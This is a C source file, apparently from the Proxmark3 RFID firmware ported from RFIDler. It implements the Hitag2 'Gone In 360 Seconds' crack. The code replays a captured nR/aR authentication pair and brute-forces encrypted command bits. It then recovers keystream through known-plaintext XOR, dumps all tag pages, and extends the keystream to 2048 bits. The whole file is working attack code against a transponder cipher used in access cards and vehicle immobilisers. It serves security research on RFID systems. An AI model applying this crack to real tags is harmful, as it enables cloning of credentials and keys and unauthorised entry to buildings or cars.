//-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------

// This coode has been converted from RFIDler source code to work with Proxmark3.
// https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c


#include "hitag2_crack.h"
#include "hitag2/hitag2_crypto.h"
#include "hitag2.h"
#include "proxmark3_arm.h"
#include "commonutil.h"
#include "dbprint.h"
#include "util.h"
#include "string.h"
#include "BigBuf.h"
#include "cmd.h"
#include "lfadc.h"

// #define READP0CMD "1100000111"
const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1};

// hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len.
static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, size_t len) {
    for (size_t i = 0; i < len; i++) {
        target[i] = source[i] ^ pad[i];
    }
}

// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
// command.
// responsestr is the hexstring of the response to the command;
// nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command.
static bool hitag2crack_send_e_cmd(uint8_t *resp, uint8_t *nrar, uint8_t *cmd, size_t len) {

    memset(resp, 0, 4);

    // Get UID
    if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) {
        return false;
    }

    // send nrar and receive (useless) encrypted page 3 value
    size_t n = 0;
    if (ht2_tx_rx(nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) {
        return false;
    }

    // send encrypted command
    n = 0;
    ht2_tx_rx(cmd, len, resp, &n, true, false);

    if (n == 32) {
        return true;
    }
    return false;
}

// hitag2crack_read_page uses the supplied key stream and nrar pair to read the
// given page, returning the response as a hexstring.
// responsestr is the returned hexstring;
// pagenum is the page number to read;
// nrar is the 64 bit binarray of the nR aR pair;
// keybits is the binarray of the key stream.
static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {

    if (pagenum > 7) {
        return false;
    }

    // create cmd
    uint8_t cmd[10];
    memcpy(cmd, read_p0_cmd, sizeof(read_p0_cmd));

    if (pagenum & 0x1) {
        cmd[9] = !cmd[9];
        cmd[4] = !cmd[4];
    }

    if (pagenum & 0x2) {
        cmd[8] = !cmd[8];
        cmd[3] = !cmd[3];
    }

    if (pagenum & 0x4) {
        cmd[7] = !cmd[7];
        cmd[2] = !cmd[2];
    }

    // encrypt command
    uint8_t e_cmd[10] = {0};
    hitag2crack_xor(e_cmd, cmd, keybits, 10);

    // send encrypted command
    uint8_t e_resp[4];
    if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) {

        uint8_t e_response[32] = {0};
        uint8_t response[32] = {0};

        // convert to binarray
        hex2binarray_n((char *)e_response, (char *)e_resp, 4);
        // decrypt response
        hitag2crack_xor(response, e_response, keybits + 10, 32);

        // convert to hexstring
        binarray2hex(response, 32, resp);

        return true;
    }

    return false;
}

// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
// encrypted version to retrieve the key stream.  It then uses this key stream
// to encrypt an extended version of the READP0CMD and tests if the response
// is valid.
// keybits is the returned binarray of the key stream;
// nrar is the 64 bit binarray of nR aR pair;
// e_cmd is the binarray of the encrypted command;
// uid is the binarray of the card UID;
// e_uid is the binarray of the encrypted version of the UID.
static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {

    uint8_t cipherbits[42] = {0};
    memcpy(cipherbits, e_cmd, 10);          // copy encrypted cmd to cipherbits
    memcpy(cipherbits + 10, e_uid, 32);     // copy encrypted uid to cipherbits


    uint8_t plainbits[42] = {0};
    memcpy(plainbits, read_p0_cmd, sizeof(read_p0_cmd));    // copy cmd to plainbits
    memcpy(plainbits + 10, uid, 32);                        // copy uid to plainbits

    // xor the plainbits with the cipherbits to get keybits
    hitag2crack_xor(keybits, plainbits, cipherbits, 42);

    // create extended cmd -> 4 * READP0CMD = 40 bits
    // xor extended cmd with keybits
    uint8_t e_ext_cmd[40] = {0};
    hitag2crack_xor(e_ext_cmd, read_p0_cmd, keybits, 10);
    hitag2crack_xor(e_ext_cmd + 10, read_p0_cmd, keybits + 10, 10);
    hitag2crack_xor(e_ext_cmd + 20, read_p0_cmd, keybits + 20, 10);
    hitag2crack_xor(e_ext_cmd + 30, read_p0_cmd, keybits + 30, 10);

    // send extended encrypted cmd
    uint8_t resp[4] = {0};
    if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) {
        return true;
    }
    return false;
}

// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
// valid encrypted command and tests the results by attempting an extended
// command version of the command to see if that produces a valid response.
// keybits is the returned binarray of the recovered key stream;
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
// e_firstcmd is the binarray of the first valid encrypted command found;
// nrar is the binarray of the 64 bit nR aR pair;
// uid is the binarray of the 32 bit UID.
static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd, uint8_t *nrar, uint8_t *uid) {

    // we're going to brute the missing 4 bits of the valid encrypted command
    for (uint8_t a = 0; a < 2; a++) {
        for (uint8_t b = 0; b < 2; b++) {
            for (uint8_t c = 0; c < 2; c++) {
                for (uint8_t d = 0; d < 2; d++) {
                    // create our guess by bit flipping the pattern of bits
                    // representing the inverted bit and the 3 page bits
                    // in both the non-inverted and inverted parts of the
                    // encrypted command.
                    uint8_t guess[10];
                    memcpy(guess, e_firstcmd, 10);

                    if (a) {
                        guess[5] = !guess[5];
                        guess[0] = !guess[0];
                    }

                    if (b) {
                        guess[7] = !guess[7];
                        guess[2] = !guess[2];
                    }

                    if (c) {
                        guess[8] = !guess[8];
                        guess[3] = !guess[3];
                    }

                    if (d) {
                        guess[9] = !guess[9];
                        guess[4] = !guess[4];
                    }

                    // try the guess
                    uint8_t resp[4] = {0};
                    if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) {

                        // convert response to binarray
                        // response should been encrypted UID
                        uint8_t e_uid[32] = {0};
                        hex2binarray_n((char *)e_uid, (char *)resp, 4);

                        // test if the guess was 'read page 0' command
                        if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
                            return true;
                        }
                    }
                }
            }
        }
    }
    return false;
}

// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
// with a different sequential encrypted command value in order to find one
// that returns a valid response.
// e_cmd is the returned binarray of the valid encrypted command;
// nrar is the binarray of the 64 bit nR aR pair.
static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) {

    // we're going to hold bits 5, 7, 8 and 9 and brute force the rest
    // e.g. x x x x x 0 x 0 0 0
    for (uint8_t a = 0; a < 2; a++) {
        for (uint8_t b = 0; b < 2; b++) {
            for (uint8_t c = 0; c < 2; c++) {
                for (uint8_t d = 0; d < 2; d++) {
                    for (uint8_t e = 0; e < 2; e++) {
                        for (uint8_t g = 0; g < 2; g++) {

                            // build binarray
                            uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 };

                            // send guess
                            uint8_t resp[4] = {0};
                            if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) {

                                // return the guess as the encrypted command
                                memcpy(e_cmd, guess, 10);
                                return true;
                            }
                        }
                    }
                }
            }
        }
    }
    return false;
}

typedef struct {
    uint8_t keybits[2080];
    uint8_t uid[32];
    uint8_t nrar[64];
    uint8_t e_ext_cmd[2080];
} PACKED lf_hitag_crack2_t;

// hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the cracked tag
// nrarhex is a string containing hex representations of the 32 bit nR and aR values
void ht2_crack1(uint8_t *nrar_hex) {

    clear_trace();

    lf_hitag_crack_response_t packet;
    memset((uint8_t *)&packet, 0x00, sizeof(lf_hitag_crack_response_t));

    int res = PM3_SUCCESS;

    // get uid as hexstring
    uint8_t uid_hex[4];
    if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) {
        packet.status = -1;
        res = PM3_EFAILED;
        goto out;
    }

    // convert to binarray
    uint8_t nrar[64] = {0};
    hex2binarray_n((char *)nrar, (char *)nrar_hex, 8);

    // find a valid encrypted command
    uint8_t e_firstcmd[10];
    if (hitag2crack_find_valid_e_cmd(e_firstcmd, nrar) == false) {
        packet.status = -2;
        res = PM3_EFAILED;
        goto out;
    }

    // now we got a first encrypted command inside  e_firstcmd
    uint8_t uid[32];
    hex2binarray_n((char *)uid, (char *)uid_hex, 4);

    // find the 'read page 0' command and recover key stream
    uint8_t keybits[42];
    if (hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid) == false) {
        packet.status = -3;
        res = PM3_EFAILED;
        goto out;
    }
    // read all pages using key stream
    for (uint8_t i = 1; i < 8; i++) {
        hitag2crack_read_page(packet.data + (i * 4), i, nrar, keybits);
    }

    // copy UID since we already have it...
    memcpy(packet.data, uid_hex, 4);

    packet.status = 1;

out:
    reply_ng(CMD_LF_HITAG2_CRACK, res, (uint8_t *)&packet, sizeof(lf_hitag_crack_response_t));
}

// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrar_hex is the 32 bit nR and aR in hex
void ht2_crack2(uint8_t *nrar_hex) {

    BigBuf_free();

    uint8_t *e_response = BigBuf_calloc(32);
    lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t *)BigBuf_calloc(sizeof(lf_hitag_crack2_t));

    g_logging = false;
    LEDsoff();
    set_tracing(false);
    clear_trace();

    // find the 'read page 0' command and recover key stream

    // get uid as hexstring
    uint8_t uid_hex[4] = {0};
    if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) {
        BigBuf_free();
        reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
        return;
    }

    hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4);
    hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8);

    DbpString("looking for encrypted command");

    // find a valid encrypted command
    uint8_t e_firstcmd[10] = {0};
    if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) {
        BigBuf_free();
        reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
        return;
    }

    DbpString("looking for encrypted page 0");
    // find encrypted page0 commnd
    if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) {
        BigBuf_free();
        reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
        return;
    }

    // We got 42 bits of keystream in c2->keybits.
    // using the 40 bits of keystream in keybits, sending commands with ever
    // increasing lengths to acquire 2048 bits of key stream.
    int kslen = 40;
    int res = PM3_SUCCESS;

    while (kslen < 2048 && BUTTON_PRESS() == false) {

        hitag2crack_xor(c2->e_ext_cmd,      read_p0_cmd, c2->keybits, 10);
        hitag2crack_xor(c2->e_ext_cmd + 10, read_p0_cmd, c2->keybits + 10, 10);
        hitag2crack_xor(c2->e_ext_cmd + 20, read_p0_cmd, c2->keybits + 20, 10);
        hitag2crack_xor(c2->e_ext_cmd + 30, read_p0_cmd, c2->keybits + 30, 10);

        Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen);

        // Get UID
        if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) {
            res = PM3_EFAILED;
            break;
        }

        // send nrar and receive (useless) encrypted page 3 value
        size_t n = 0;
        if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) {
            res = PM3_EFAILED;
            break;
        }

        uint8_t resp[4] = {0};
        res = ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false);
        if (res != PM3_SUCCESS) {
            Dbprintf("tx/rx failed, got %zu (res... %i)", n, res);
            break;
        }

        // convert response to binarray
        hex2binarray_n((char *)e_response, (char *)resp, 4);

        // recover keystream from encrypted response
        hitag2crack_xor(c2->keybits + kslen, e_response, c2->uid, 32);

        // extented with 30 bits or  3 * 10 read_p0_cmds
        hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
        kslen += 10;
        hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
        kslen += 10;
        hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
        kslen += 10;
    }

    Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen);

    lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t));

    packet->status = 1;
    binarray2hex(c2->keybits, kslen, packet->data);

    reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t));
    BigBuf_free();
    return;
}
